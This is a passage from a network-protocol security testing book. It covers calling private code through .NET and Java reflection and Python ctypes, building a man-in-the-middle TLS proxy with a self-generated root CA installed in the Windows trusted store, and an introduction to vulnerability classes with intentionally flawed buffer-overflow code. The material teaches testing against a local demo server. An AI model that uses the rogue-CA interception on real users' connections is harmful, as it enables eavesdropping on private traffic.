PrivateClass or InternalClass. The class’s scope takes precedence over the members’ visibility. Once you’ve determined whether all the types and members you want to use are public, you can add a reference to the assembly when compiling. If you’re using an IDE, you should find a method that allows you to add this reference to your project. But if you’re compiling on the command line using Mono or the Windows .NET framework, you’ll |||||||||||||||||||| |||||||||||||||||||| need to specify the -reference:<FILEPATH> option to the appropriate C# compiler, CSC or MCS. Using the Reflection APIs If all the types and members are not public, you’ll need to use the .NET framework’s Reflection APIs. You’ll find most of these in the System.Reflection namespace, except for the Type class, which is under the System namespace. Table 8-1 lists the most important classes with respect to reflection functionality. Table 8-1: .NET Reflection Types Class name Description System.Type Represents a single type in an assembly and allows access to information about its members System.Reflection.Assembly Allows access to loading and inspecting an assembly as well as enumerating available types System.Reflection.MethodInfo Represents a method in a type System.Reflection.FieldInfo Represents a field in a type System.Reflection.PropertyInfo Represents a property in a type System.Reflection.ConstructorInfo Represents a class’s constructor Loading the Assembly Before you can do anything with the types and members, you’ll need to load the assembly using the Load() or the LoadFrom() method on the Assembly class. The Load() method takes an assembly name, which is an identifier for the assembly that assumes the assembly file can be found in the same location as the calling application. The LoadFrom() method takes the path to the assembly file. For the sake of simplicity, we’ll use LoadFrom(), which you can use in most cases. Listing 8-11 shows a simple example of how you might load an assembly from a file and extract a type by name. Assembly asm = Assembly.LoadFrom(@"c:\path\to\assembly.exe"); Type type = asm.GetType("ChatProgram.Connection"); Listing 8-11: A simple assembly loading example The name of the type is always the fully qualified name including its namespace. For example, in Listing 8-11, the name of the type being accessed is Connection inside the ChatProgram namespace. Each part of the type name is separated by periods. Technet24 |||||||||||||||||||| |||||||||||||||||||| How do you access classes that are declared inside other classes, such as those shown in Listing 8-10? In C#, you access these by specifying the parent class name and the child class name separated by periods. The framework is able to differentiate between ChatProgram.Connection, where we want the class Connection in namespace ChatProgram, and the child class Connection inside the class ChatProgram by using a plus (+) symbol: ChatProgram+Connection represents a parent/child class relationship. Listing 8-12 shows a simple example of how we might create an instance of an internal class and call methods on it. We’ll assume that the class is already compiled into its own assembly. internal class Connection { internal Connection() {} public void Connect(string hostname) { Connect(hostname, 12345); } private void Connect(string hostname, int port) { // Implementation... } public void Send(byte[] packet) { // Implementation... } public void Send(string packet) { // Implementation... } public byte[] Receive() { // Implementation... } } Listing 8-12: A simple C# example class The first step we need to take is to create an instance of this Connection class. We could do this by calling GetConstructor on the type and calling it manually, but sometimes there’s an easier way. One way would be to use the built-in System.Activator class to handle creating instances of types for us, at least in very simple scenarios. In such a scenario, we call the method CreateInstance(), which takes an instance of the type to create and a Boolean value that indicates whether the constructor is public or not. Because the constructor is not public (it’s internal), we need to pass true to get the activator to find the right constructor. Listing 8-13 shows how to create a new instance, assuming a nonpublic parameterless constructor. Type type = asm.GetType("ChatProgram.Connection"); object conn = Activator.CreateInstance(type, true); |||||||||||||||||||| |||||||||||||||||||| Listing 8-13: Constructing a new instance of the Connection object At this point, we would call the public Connect() method. In the possible methods of the Type class, you’ll find the GetMethod() method, which just takes the name of the method to look up and returns an instance of a MethodInfo type. If the method cannot be found, null is returned. Listing 8-14 shows how to execute the method by calling the Invoke() method on MethodInfo, passing the instance of the object to execute it on and the parameters to pass to the method. MethodInfo connect_method = type.GetMethod("Connect"); connect_method.Invoke(conn, new object[] { "host.badgers.com" }); Listing 8-14: Executing a method on a Connection object The simplest form of GetMethod() takes as a parameter the name of the method to find, but it will look for only public methods. If instead you want to call the private Connect() method to be able to specify an arbitrary TCP port, use one of the various overloads of GetMethod(). These overloads take a BindingFlags enumeration value, which is a set of flags you can pass to reflection functions to determine what sort of information you want to look up. Table 8-2 shows some important flags. Table 8-2: Important .NET Reflection Binding Flags Flag name Description BindingFlags.Public Look up public members BindingFlags.NonPublic Look up nonpublic members (internal or private) BindingFlags.Instance Look up members that can only be used on an instance of the class BindingFlags.Static Look up members that can be accessed statically without an instance To get a MethodInfo for the private method, we can use the overload of GetMethod(), as shown in Listing 8-15, which takes a name and the binding flags. We’ll need to specify both NonPublic and Instance in the flags because we want a nonpublic method that can be called on instances of the type. MethodInfo connect_method = type.GetMethod("Connect", BindingFlags.NonPublic | BindingFlags.Instance); connect_method.Invoke(conn, new object[] { "host.badgers.com", 9999 }); Listing 8-15: Calling a nonpublic Connect() method So far so good. Now we need to call the Send() method. Because this method is public, we should be able to call the basic GetMethod() method. But calling the basic method generates the exception shown in Listing 8-16, indicating an ambiguous match. What’s gone wrong? Technet24 |||||||||||||||||||| |||||||||||||||||||| System.Reflection.AmbiguousMatchException: Ambiguous match found. at System.RuntimeType.GetMethodImpl(...) at System.Type.GetMethod(String name) at Program.Main(String[] args) Listing 8-16: An exception thrown for the Send() method Notice in Listing 8-12 the Connection class has two Send() methods: one takes an array of bytes and the other takes a string. Because the reflection API doesn’t know which method you want, it doesn’t return a reference to either; instead, it just throws an exception. Contrast this with the Connect() method, which worked because the binding flags disambiguate the call. If you’re looking up a public method with the name Connect(), the reflection APIs will not even inspect the nonpublic overload. We can get around this error by using yet another overload of GetMethod() that specifies exactly the types we want the method to support. We’ll choose the method that takes a string, as shown in Listing 8-17. MethodInfo send_method = type.GetMethod("Send", new Type[] { typeof(string) }); send_method.Invoke(conn, new object[] { "data" }); Listing 8-17: Calling the Send(string) method Finally, we can call the Receive() method. It’s public, so there are no additional overloads and it should be simple. Because Receive() takes no parameters, we can either pass an empty array or null to Invoke(). Because Invoke() returns an object, we need to cast the return value to a byte array to access the bytes directly. Listing 8-18 shows the final implementation. MethodInfo recv_method = type.GetMethod("Receive"); byte[] packet = (byte[])recv_method.Invoke(conn, null); Listing 8-18: Calling the Receive() method Repurposing Code in Java Applications Java is fairly similar to .NET, so I’ll just focus on the difference between them, which is that Java does not have the concept of an assembly. Instead, each class is represented by a separate .class file. Although you can combine class files into a Java Archive (JAR) file, it is just a convenience feature. For that reason, Java does not have internal classes that can only be accessed by other classes in the same assembly. However, Java does have a somewhat similar feature called package-private scoped classes, which can only be accessed by classes in the same package. (.NET refers to packages as a namespace.) The upshot of this feature is that if you want to access classes marked as package scoped, you can write some Java code that defines itself in the same package, which can then access the package-scoped classes and members at will. For example, Listing 8-19 shows a package-private class that would be defined in the library you want to call and a simple bridge class you can compile into your own application to create an instance of the |||||||||||||||||||| |||||||||||||||||||| class. // Package-private (PackageClass.java) package com.example; class PackageClass { PackageClass() { } PackageClass(String arg) { } @Override public String toString() { return "In Package"; } } // Bridge class (BridgeClass.java) package com.example; public class BridgeClass { public static Object create() { return new PackageClass(); } } Listing 8-19: Implementing a bridge class to access a package-private class You specify the existing class or JAR files by adding their locations to the Java classpath, typically by specifying the -classpath parameter to the Java compiler or Java runtime executable. If you need to call Java classes by reflection, the core Java reflection types are very similar to those described in the preceding .NET section: Type in .NET is class in Java, MethodInfo is Method, and so on. Table 8-3 contains a short list of Java reflection types. Table 8-3: Java Reflection Types Class name Description java.lang.Class Represents a single class and allows access to its members java.lang.reflect.Method Represents a method in a type java.lang.reflect.Field Represents a field in a type java.lang.reflect.Constructor Represents a class’s constructor You can access a class object by name by calling the Class.forName() method. For example, Listing 8-20 shows how we would get the PackageClass. Class c = Class.forName("com.example.PackageClass"); System.out.println(c); Listing 8-20: Getting a class in Java Technet24 |||||||||||||||||||| |||||||||||||||||||| If we want to create an instance of a public class with a parameterless constructor, the Class instance has a newInstance() method. This won’t work for our package-private class, so instead we’ll get an instance of the Constructor by calling getDeclaredConstructor() on the Class instance. We need to pass a list of Class objects to getDeclaredConstructor() to select the correct Constructor based on the types of parameters the constructor accepts. Listing 8-21 shows how we would choose the constructor, which takes a string, and then create a new instance. Constructor con = c.getDeclaredConstructor(String.class); ➊ con.setAccessible(true); Object obj = con.newInstance("Hello"); Listing 8-21: Creating a new instance from a private constructor The code in Listing 8-21 should be fairly self-explanatory except perhaps for the line at ➊. In Java, any nonpublic member, whether a constructor, field, or method, must be set as accessible before you use it. If you don’t call setAccessible() with the value true, then calling newInstance() will throw an exception. Unmanaged Executables Calling arbitrary code in most unmanaged executables is much more difficult than in managed platforms. Although you can call a pointer to an internal function, there’s a reasonable chance that doing so could crash your application. However, you can reasonably call the unmanaged implementation when it’s explicitly exposed through a dynamic library. This section offers a brief overview of using the built-in Python library ctypes to call an unmanaged library on a Unix-like platform and Microsoft Windows. NOTE There are many complicated scenarios that involve calling into unmanaged code using the Python ctypes library, such as passing string values or calling C++ functions. You can find several detailed resources online, but this section should give you enough basics to interest you in learning more about how to use Python to call unmanaged libraries. Calling Dynamic Libraries Linux, macOS, and Windows support dynamic libraries. Linux calls them object files (.so), macOS calls them dynamic libraries (.dylib), and Windows calls them dynamic link libraries (.dll). The Python ctypes library provides a mostly generic way to load all of these libraries into memory and a consistent syntax for defining how to call the exported function. Listing 8-22 shows a simple library written in C, which we’ll use as an example throughout the rest of the section. |||||||||||||||||||| |||||||||||||||||||| #include <stdio.h> #include <wchar.h> void say_hello(void) { printf("Hello\n"); } void say_string(const char* str) { printf("%s\n", str); } void say_unicode_string(const wchar_t* ustr) { printf("%ls\n", ustr); } const char* get_hello(void) { return "Hello from C"; } int add_numbers(int a, int b) { return a + b; } long add_longs(long a, long b) { return a + b; } void add_numbers_result(int a, int b, int* c) { *c = a + b; } struct SimpleStruct { const char* str; int num; }; void say_struct(const struct SimpleStruct* s) { printf("%s %d\n", s->str, s->num); } Listing 8-22: The example C library lib.c You can compile the code in Listing 8-22 into an appropriate dynamic library for the platform you’re testing. For example, on Linux you can compile the library by installing a C compiler, such as GCC, and executing the following command in the shell, which will generate a shared library lib.so: gcc -shared -fPIC -o lib.so lib.c Loading a Library with Python Moving to Python, we can load our library using the ctypes.cdll.LoadLibrary() method, which returns an instance of a loaded library with the exported functions attached to the instance as named methods. For example, Listing 8-23 shows how to call the say_hello() method from the library compiled in Listing 8-22. listing8-23.py from ctypes import * Technet24 |||||||||||||||||||| |||||||||||||||||||| # On Linux lib = cdll.LoadLibrary("./lib.so") # On macOS #lib = cdll.LoadLibrary("lib.dylib") # On Windows #lib = cdll.LoadLibrary("lib.dll") # Or we can do the following on Windows #lib = cdll.lib lib.say_hello() >>> Hello Listing 8-23: A simple Python example for calling a dynamic library Note that in order to load the library on Linux, you need to specify a path. Linux by default does not include the current directory in the library search order, so loading lib.so would fail. That is not the case on macOS or on Windows. On Windows, you can simply specify the name of the library after cdll and it will automatically add the .dll extension and load the library. Let’s do some exploring. Load Listing 8-23 into a Python shell, for example, by running execfile("listing8-23.py"), and you’ll see that Hello is returned. Keep the interactive session open for the next section. Calling More Complicated Functions It’s easy enough to call a simple method, such as say_hello(), as in Listing 8-23. But in this section, we’ll look at how to call slightly more complicated functions including unmanaged functions, which take multiple different arguments. Wherever possible, ctypes will attempt to determine what parameters are passed to the function automatically based on the parameters you pass in the Python script. Also, the library will always assume that the return type of a method is a C integer. For example, Listing 8-24 shows how to call the add_numbers() or say_string() methods along with the expected output from the interactive session. print lib.add_numbers(1, 2) >>> 3 lib.say_string("Hello from Python"); >>> Hello from Python Listing 8-24: Calling simple methods More complex methods require the use of ctypes data types to explicitly specify what types we want to use as defined in the ctypes namespace. Table 8-4 shows some of the more common data types. Table 8-4: Python ctypes and Their Native C Type Equivalent Python ctypes Native C types c_char, c_wchar char, wchar_t |||||||||||||||||||| |||||||||||||||||||| c_byte, c_ubyte char, unsigned char c_short, c_ushort short, unsigned short c_int, c_uint int, unsigned int c_long, c_ulong long, unsigned long c_longlong, c_ulonglong long long, unsigned long long (typically 64 bit) c_float, c_double float, double c_char_p, c_wchar_p char*, wchar_t* (NUL terminated strings) c_void_p void* (generic pointer) To specify the return type, we can assign a data type to the lib.name.restype property. For example, Listing 8-25 shows how to call get_hello(), which returns a pointer to a string. # Before setting return type print lib.get_hello() >>> -1686370079 # After setting return type lib.get_hello.restype = c_char_p print lib.get_hello() >>> Hello from C Listing 8-25: Calling a method that returns a C string If instead you want to specify the arguments to be passed to a method, you can set an array of data types to the argtypes property. For example, Listing 8-26 shows how to call add_longs() correctly. # Before argtypes lib.add_longs.restype = c_long print lib.add_longs(0x100000000, 1) >>> 1 # After argtypes lib.add_longs.argtypes = [c_long, c_long] print lib.add_longs(0x100000000, 1) >>> 4294967297 Listing 8-26: Specifying argtypes for a method call To pass a parameter via a pointer, use the byref helper. For example, add_numbers_result() returns the value as a pointer to an integer, as shown in Listing 8-27. i = c_int() lib.add_numbers_result(1, 2, byref(i)) print i.value >>> 3 Listing 8-27: Calling a method with a reference parameter Technet24 |||||||||||||||||||| |||||||||||||||||||| Calling a Function with a Structure Parameter We can define a structure for ctypes by creating a class derived from the Structure class and assigning the _fields_ property, and then pass the structure to the imported method. Listing 8-28 shows how to do this for the say_struct() function, which takes a pointer to a structure containing a string and a number. class SimpleStruct(Structure): _fields_ = [("str", c_char_p), ("num", c_int)] s = SimpleStruct() s.str = "Hello from Struct" s.num = 100 lib.say_struct(byref(s)) >>> Hello from Struct 100 Listing 8-28: Calling a method taking a structure Calling Functions with Python on Microsoft Windows In this section, information on calling unmanaged libraries on Windows is specific to 32- bit Windows. As discussed in Chapter 6, Windows API calls can specify a number of different calling conventions, the most common being stdcall and cdecl. By using cdll, all calls assume that the function is cdecl, but the property windll defaults instead to stdcall. If a DLL exports both cdecl and stdcall methods, you can mix calls through cdll and windll as necessary. NOTE You’ll need to consider more calling scenarios using the Python ctypes library, such as how to pass back strings or call C++ functions. You can find many detailed resources online, but this section should have given you enough basics to interest you in learning more about how to use Python to call unmanaged libraries. Encryption and Dealing with TLS Encryption on network protocols can make it difficult for you to perform protocol analysis and reimplement the protocol to test for security issues. Fortunately, most applications don’t roll their own cryptography. Instead, they utilize a version of TLS, as described at the end of Chapter 7. Because TLS is a known quantity, we can often remove it from a protocol or reimplement it using standard tools and libraries. Learning About the Encryption In Use Perhaps unsurprisingly, SuperFunkyChat has support for a TLS endpoint, although you |||||||||||||||||||| |||||||||||||||||||| need to configure it by passing the path to a server certificate. The binary distribution of SuperFunkyChat comes with a server.pfx for this purpose. Restart the ChatServer application with the --server_cert parameter, as shown in Listing 8-29, and observe the output to ensure that TLS has been enabled. $ ChatServer --server_cert ChatServer/server.pfx ChatServer (c) 2017 James Forshaw WARNING: Don't use this for a real chat system!!! Loaded certificate, Subject=CN=ExampleChatServer➊ Running server on port 12345 Global Bind False Running TLS server on port 12346➋ Global Bind False Listing 8-29: Running ChatServer with a TLS certificate Two indications in the output of Listing 8-29 show that TLS has been enabled. First, the subject name of the server certificate is shown at ➊. Second, you can see that TLS server is listening on port 12346 ➋. There’s no need to specify the port number when connecting the client using TLS with the --tls parameter: the client will automatically increment the port number to match. Listing 8-30 shows how when you add the --tls command line parameter to the client, it displays basic information about the connection to the console. $ ChatClient -–tls user1 127.0.0.1 Connecting to 127.0.0.1:12346 ➊ TLS Protocol: TLS v1.2 ➋ TLS KeyEx : RsaKeyX ➌ TLS Cipher : Aes256 ➍ TLS Hash : Sha384 ➎ Cert Subject: CN=ExampleChatServer ➏ Cert Issuer : CN=ExampleChatServer Listing 8-30: A normal client connection In this output, the TLS protocol in use is shown at ➊ as TLS 1.2. We can also see the key exchange ➋, cipher ➌, and hash algorithms ➍ negotiated. At ➎, we see some information about the server certificate, including the name of the Cert Subject, which typically represents the certificate owner. The Cert Issuer ➏ is the authority that signed the server’s certificate, and it’s the next certificate in the chain, as described in “Public Key Infrastructure” on page 169. In this case, the Cert Subject and Cert Issuer are the same, which typically means the certificate is self-signed. Decrypting the TLS Traffic A common technique to decrypt the TLS traffic is to actively use a man-in-the-middle attack on the network traffic so you can decrypt the TLS from the client and reencrypt it when sending it to the server. Of course, in the middle, you can manipulate and observe the traffic all you like. But aren’t man-in-the-middle attacks exactly what TLS is supposed Technet24 |||||||||||||||||||| |||||||||||||||||||| to protect against? Yes, but as long as we control the client application sufficiently well, we can usually perform this attack for testing purposes. Adding TLS support to a proxy (and therefore to servers and clients, as discussed earlier in this chapter) can be a simple matter of adding a single line or two to the proxy script to add a TLS decryption and encryption layer. Figure 8-1 shows a simple example of such a proxy. Figure 8-1: An example MITM TLS proxy We can implement the attack shown in Figure 8-1 by replacing the template initialization in Listing 8-5 with the code in Listing 8-31. var template = new FixedProxyTemplate(); // Local port of 4445, destination 127.0.0.1:12346 ➊ template.LocalPort = 4445; template.Host = "127.0.0.1"; template.Port = 12346; var tls = new TlsNetworkLayerFactory(); ➋ template.AddLayer(tls); template.AddLayer<Parser>(); Listing 8-31: Adding TLS support to capture a proxy We make two important changes to the template initialization. At ➊, we increment port numbers because the client automatically adds 1 to the port when trying to connect over TLS. Then at ➋, we add a TLS network layer to the proxy template. (Be sure to add the TLS layer before the parser layer, or the parser layer will try to parse the TLS network traffic, which won’t work so well.) With the proxy in place, let’s repeat our test with the client from Listing 8-31 to see the differences. Listing 8-32 shows the output. C:\> ChatClient user1 127.0.0.1 --port 4444 -l Connecting to 127.0.0.1:4445 ➊ TLS Protocol: TLS v1.0 ➋ TLS KeyEx : ECDH TLS Cipher : Aes256 TLS Hash : Sha1 Cert Subject: CN=ExampleChatServer |||||||||||||||||||| |||||||||||||||||||| ➌ Cert Issuer : CN=BrokenCA_PleaseFix Listing 8-32: ChatClient connecting through a proxy Notice some clear changes in Listing 8-32. One is that the TLS protocol is now TLS v1.0 ➊ instead of TLS v1.2. Another is that the Cipher and Hash algorithms differ from those in Listing 8-30, although the key exchange algorithm is using Elliptic Curve Diffie– Hellman (ECDH) for forward secrecy ➋. The final change is shown in the Cert Issuer ➌. The proxy libraries will autogenerate a valid certificate based on the original one from the server, but it will be signed with the library’s Certificate Authority (CA) certificate. If a CA certificate isn’t configured, one will be generated on first use. Forcing TLS 1.2 The changes to the negotiated encryption settings shown in Listing 8-32 can interfere with your successfully proxying applications because some applications will check the version of TLS negotiated. If the client will only connect to a TLS 1.2 service, you can force that version by adding this line to the script: tls.Config.ServerProtocol = System.Security.Authentication.SslProtocols.Tls12; Replacing the Certificate with Our Own Replacing the certificate chain involves ensuring that the client accepts the certificate that you generate as a valid root CA. Run the script in Listing 8-33 in CANAPE.Cli to generate a new CA certificate, output it and key to a PFX file, and output the public certificate in PEM format. generate_ca _cert.csx using System.IO; // Generate a 4096 bit RSA key with SHA512 hash var ca = CertificateUtils.GenerateCACert("CN=MyTestCA", 4096, CertificateHashAlgorithm.Sha512); // Export to PFX with no password File.WriteAllBytes("ca.pfx", ca.ExportToPFX()); // Export public certificate to a PEM file File.WriteAllText("ca.crt", ca.ExportToPEM()); Listing 8-33: Generating a new root CA certificate for a proxy On disk, you should now find a ca.pfx file and a ca.crt file. Copy the ca.pfx file into the same directory where your proxy script files are located, and add the following line before initializing the TLS layer as in Listing 8-31. CertificateManager.SetRootCert("ca.pfx"); Technet24 |||||||||||||||||||| |||||||||||||||||||| All generated certificates should now use your CA certificate as the root certificate. You can now import ca.crt as a trusted root for your application. The method you use to import the certificate will depend on many factors, for example, the type of device the client application is running on (mobile devices are typically more difficult to compromise). Then there’s the question of where the application’s trusted root is stored. For example, is it in an application binary? I’ll show just one example of importing the certificate on Microsoft Windows. Because it’s common for Windows applications to refer to the system trusted root store to get their root CAs, we can import our own certificate into this store and SuperFunkyChat will trust it. To do so, first run certmgr.msc either from the Run dialog or a command prompt. You should see the application window shown in Figure 8-2. Figure 8-2: The Windows certificate manager Choose Trusted Root Certification Authorities ▸ Certificates and then select Action ▸ All Tasks ▸ Import. An import Wizard should appear. Click Next and you should see a dialog similar to Figure 8-3. |||||||||||||||||||| |||||||||||||||||||| Figure 8-3: Using the Certificate Import Wizard file import Enter the path to ca.crt or browse to it and click Next again. Next, make sure that Trusted Root Certification Authorities is shown in the Certificate Store box (see Figure 8-4) and click Next. Technet24 |||||||||||||||||||| |||||||||||||||||||| Figure 8-4: The certificate store location On the final screen, click Finish; you should see the warning dialog box shown in Figure 8-5. Obviously, heed its warning, but click Yes all the same. NOTE Be very careful when importing arbitrary root CA certificates into your trusted root store. If someone gains access to your private key, even if you were only planning to test a single application, they could man-in-the-middle any TLS connection you make. Never install arbitrary certificates on any device you use or care about. |||||||||||||||||||| |||||||||||||||||||| Figure 8-5: A warning about importing a root CA certificate As long as your application uses the system root store, your TLS proxy connection will be trusted. We can test this quickly with SuperFunkyChat using --verify with the ChatClient to enable server certificate verification. Verification is off by default to allow you to use a self-signed certificate for the server. But when you run the client against the proxy server with --verify, the connection should fail, and you should see the following output: SSL Policy Errors: RemoteCertificateNameMismatch Error: The remote certificate is invalid according to the validation procedure. The problem is that although we added the CA certificate as a trusted root, the server name, which is in many cases specified as the subject of the certificate, is invalid for the target. As we’re proxying the connection, the server hostname is, for example, 127.0.0.1, but the generated certificate is based on the original server’s certificate. To fix this, add the following lines to specify the subject name for the generated certificate: Technet24 |||||||||||||||||||| |||||||||||||||||||| tls.Config.SpecifyServerCert = true; tls.Config.ServerCertificateSubject = "CN=127.0.0.1"; When you retry the client, it should successfully connect to the proxy and then on to the real server, and all traffic should be unencrypted inside the proxy. We can apply the same code changes to the network client and server code in Listing 8- 6 and Listing 8-8. The framework will take care of ensuring that only specific TLS connections are established. (You can even specify TLS client certificates in the configuration for use in performing mutual authentication, but that’s an advanced topic that’s beyond the scope of this book.) You should now have some ideas about how to man-in-the-middle TLS connections. The techniques you’ve learned will enable you to decrypt and encrypt the traffic from many applications to perform analysis and security testing. Final Words This chapter demonstrated some approaches you can take to reimplement your application protocol based on the results of either doing on-the-wire inspection or reverse engineering the implementation. I’ve only scratched the surface of this complex topic—many interesting challenges await you as you investigate security issues in network protocols. |||||||||||||||||||| |||||||||||||||||||| 9 THE ROOT CAUSES OF VULNERABILITIES This chapter describes the common root causes of security vulnerabilities that result from the implementation of a protocol. These causes are distinct from vulnerabilities that derive from a protocol’s specification (as discussed in Chapter 7). A vulnerability does not have to be directly exploitable for it to be considered a vulnerability. It might weaken the security stance of the protocol, making other attacks easier. Or it might allow access to more serious vulnerabilities. After reading this chapter, you’ll begin to see patterns in protocols that will help you identify security vulnerabilities during your analysis. (I won’t discuss how to exploit the different classes until Chapter 10.) In this chapter, I’ll assume you are investigating the protocol using all means available to you, including analyzing the network traffic, reverse engineering the application’s binaries, reviewing source code, and manually testing the client and servers to determine actual vulnerabilities. Some vulnerabilities will always be easier to find using techniques such as fuzzing (a technique by which network protocol data is mutated to uncover issues) whereas others will be easier to find by reviewing code. Vulnerability Classes When you’re dealing with security vulnerabilities, it’s useful to categorize them into a set of distinct classes to assess the risk posed by the exploitation of the vulnerability. As an example, consider a vulnerability that, when exploited, allows an attack to compromise the system an application is running on. Remote Code Execution Remote code execution is a catchall term for any vulnerability that allows an attacker to run arbitrary code in the context of the application that implements the protocol. This could occur through hijacking the logic of the application or influencing the command line of subprocesses created during normal operation. Remote code execution vulnerabilities are usually the most security critical because they allow an attacker to compromise the system on which the application is executing. Such a compromise would provide the attacker with access to anything the application can access and might even allow the hosting network to be compromised. Technet24 |||||||||||||||||||| |||||||||||||||||||| Denial-of-Service Applications are generally designed to provide a service. If a vulnerability exists that when exploited causes an application to crash or become unresponsive, an attacker can use that vulnerability to deny legitimate users access to a particular application and the service it provides. Commonly referred to as a denial-of-service vulnerability, it requires few resources, sometimes as little as a single network packet, to bring down the entire application. Without a doubt, this can be quite detrimental in the wrong hands. We can categorize denial-of-service vulnerabilities as either persistent or nonpersistent. A persistent vulnerability permanently prevents legitimate users from accessing the service (at least until an administrator corrects the issue). The reason is that exploiting the vulnerability corrupts some stored state that ensures the application crashes when it’s restarted. A nonpersistent vulnerability lasts only as long as an attacker is sending data to cause the denial-of-service condition. Usually, if the application is allowed to restart on its own or given sufficient time, service will be restored. Information Disclosure Many applications are black boxes, which in normal operation provide you with only certain information over the network. An information disclosure vulnerability exists if there is a way to get an application to provide information it wasn’t originally designed to provide, such as the contents of memory, filesystem paths, or authentication credentials. Such information might be directly useful to an attacker because it could aid further exploitation. For example, the information could disclose the location of important in- memory structures that could help in remote code execution. Authentication Bypass Many applications require users to supply authentication credentials to access an application completely. Valid credentials might be a username and password or a more complex verification, like a cryptographically secure exchange. Authentication limits access to resources, but it can also reduce an application’s attack surface when an attacker is unauthenticated. An authentication bypass vulnerability exists in an application if there is a way to authenticate to the application without providing all the authentication credentials. Such vulnerabilities might be as simple as an application incorrectly checking a password—for example, because it compares a simple checksum of the password, which is easy to brute force. Or vulnerabilities could be due to more complex issues, such as SQL injection (discussed later in “SQL Injection” on page 228). Authorization Bypass |||||||||||||||||||| |||||||||||||||||||| Not all users are created equal. Applications may support different types of users, such as read-only, low-privilege, or administrator, through the same interface. If an application provides access to resources like files, it might need to restrict access based on authentication. To allow access to secured resources, an authorization process must be built in to determine which rights and resources have been assigned to a user. An authorization bypass vulnerability occurs when an attacker can gain extra rights or access to resources they are not privileged to access. For example, an attacker might change the authenticated user or user privileges directly, or a protocol might not correctly check user permissions. NOTE Don’t confuse authorization bypass with authentication bypass vulnerabilities. The major difference between the two is that an authentication bypass allows you to authenticate as a specific user from the system’s point of view; an authorization bypass allows an attacker to access a resource from an incorrect authentication state (which might in fact be unauthenticated). Having defined the vulnerability classes, let’s look at their causes in more detail and explore some of the protocol structures in which you’ll find them. Each type of root cause contains a list of the possible vulnerability classes that it might lead to. Although this is not an exhaustive list, I cover those you are most likely to encounter regularly. Memory Corruption Vulnerabilities If you’ve done any analysis, memory corruption is most likely the primary security vulnerability you’ll have encountered. Applications store their current state in memory, and if that memory can be corrupted in a controlled way, the result can cause any class of security vulnerability. Such vulnerabilities can simply cause an application to crash (resulting in a denial-of-service condition) or be more dangerous, such as allowing an attacker to run executable code on the target system. Memory-Safe vs. Memory-Unsafe Programming Languages Memory corruption vulnerabilities are heavily dependent on the programming language the application was developed in. When it comes to memory corruption, the biggest difference between languages is tied to whether a language (and its hosting environment) is memory safe or memory unsafe. Memory-safe languages, such as Java, C#, Python, and Ruby, do not normally require the developer to deal with low-level memory management. They sometimes provide libraries or constructs to perform unsafe operations (such as C#’s unsafe keyword). But using these libraries or constructs requires developers to make their use explicit, which allows that use to be audited for safety. Memory-safe languages will also Technet24 |||||||||||||||||||| |||||||||||||||||||| commonly perform bounds checking for in-memory buffer access to prevent out-of- bounds reads and writes. Just because a language is memory safe doesn’t mean it’s completely immune to memory corruption. However, corruption is more likely to be a bug in the language runtime than a mistake by the original developer. On the other hand, memory-unsafe languages, such as C and C++, perform very little memory access verification and lack robust mechanisms for automatically managing memory. As a result, many types of memory corruption can occur. How exploitable these vulnerabilities are depends on the operating system, the compiler used, and how the application is structured. Memory corruption is one of the oldest and best known root causes of vulnerabilities; therefore, considerable effort has been made to eliminate it. (I’ll discuss some of the mitigation strategies in more depth in Chapter 10 when I detail how you might exploit these vulnerabilities.) Memory Buffer Overflows Perhaps the best known memory corruption vulnerability is a buffer overflow. This vulnerability occurs when an application tries to put more data into a region of memory than that region was designed to hold. Buffer overflows may be exploited to get arbitrary programs to run or to bypass security restrictions, such as user access controls. Figure 9-1 shows a simple buffer overflow caused by input data that is too large for the allocated buffer, resulting in memory corruption. Figure 9-1: Buffer overflow memory corruption Buffer overflows can occur for either of two reasons: Commonly referred to as a fixed- length buffer overflow, an application incorrectly assumes the input buffer will fit into the allocated buffer. A variable-length buffer overflow occurs because the size of the allocated buffer is incorrectly calculated. |||||||||||||||||||| |||||||||||||||||||| Fixed-Length Buffer Overflows By far, the simplest buffer overflow occurs when an application incorrectly checks the length of an external data value relative to a fixed-length buffer in memory. That buffer might reside on the stack, be allocated on a heap, or exist as a global buffer defined at compile time. The key is that the memory length is determined prior to knowledge of the actual data length. The cause of the overflow depends on the application, but it can be as simple as the application not checking length at all or checking length incorrectly. Listing 9-1 is an example. def read_string() { ➊ byte str[32]; int i = 0; do { ➋ str[i] = read_byte(); i = i + 1; } ➌ while(str[i-1] != 0); printf("Read String: %s\n", str); } Listing 9-1: A simple fixed-length buffer overflow This code first allocates the buffer where it will store the string (on the stack) and allocates 32 bytes of data ➊. Next, it goes into a loop that reads a byte from the network and stores it an incrementing index in the buffer ➋. The loop exits when the last byte read from the network is equal to zero, which indicates that the value has been sent ➌. In this case, the developer has made a mistake: the loop doesn’t verify the current length at ➌ and therefore reads as much data as available from the network, leading to memory corruption. Of course, this problem is due to the fact that unsafe programming languages do not perform bounds checks on arrays. This vulnerability might be very simple to exploit if no compiler mitigations are in place, such as stack cookies to detect the corruption. UNSAFE STRING FUNCTIONS The C programming language does not define a string type. Instead, it uses memory pointers to a list of char types. The end of the string is indicated by a zero-value character. This isn’t a security problem directly. However, when the built-in libraries to manipulate strings were developed, safety was not considered. Consequently, many of these string functions are very dangerous to use in a security-critical application. To understand how dangerous these functions can be, let’s look at an example Technet24 |||||||||||||||||||| |||||||||||||||||||| using strcpy, the function that copies strings. This function takes only two arguments: a pointer to the source string and a pointer to the destination memory buffer to store the copy. Notice that nothing indicates the length of the destination memory buffer. And as you’ve already seen, a memory-unsafe language like C doesn’t keep track of buffer sizes. If a programmer tries to copy a string that is longer than the destination buffer, especially if it’s from an external untrusted source, memory corruption will occur. More recent C compilers and standardizations of the language have added more secure versions of these functions, such as strcpy_s, which adds a destination length argument. But if an application uses an older string function, such as strcpy, strcat, or sprintf, then there’s a good chance of a serious memory corruption vulnerability. Even if a developer performs a length check, that check may not be done correctly. Without automatic bounds checking on array access, it is up to the developer to verify all reads and writes. Listing 9-2 shows a corrected version of Listing 9-1 that takes into account strings that are longer than the buffer size. Still, even with the fix, a vulnerability is lurking in the code. def read_string_fixed() { ➊ byte str[32]; int i = 0; do { ➋ str[i] = read_byte(); i = i + 1; } ➌ while((str[i-1] != 0) && (i < 32)); /* Ensure zero terminated if we ended because of length */ ➍ str[i] = 0; printf("Read String: %s\n", str); } Listing 9-2: An off-by-one buffer overflow As in Listing 9-1, at ➊ and ➋, the code allocates a fixed-stack buffer and reads the string in a loop. The first difference is at ➌. The developer has added a check to make sure to exit the 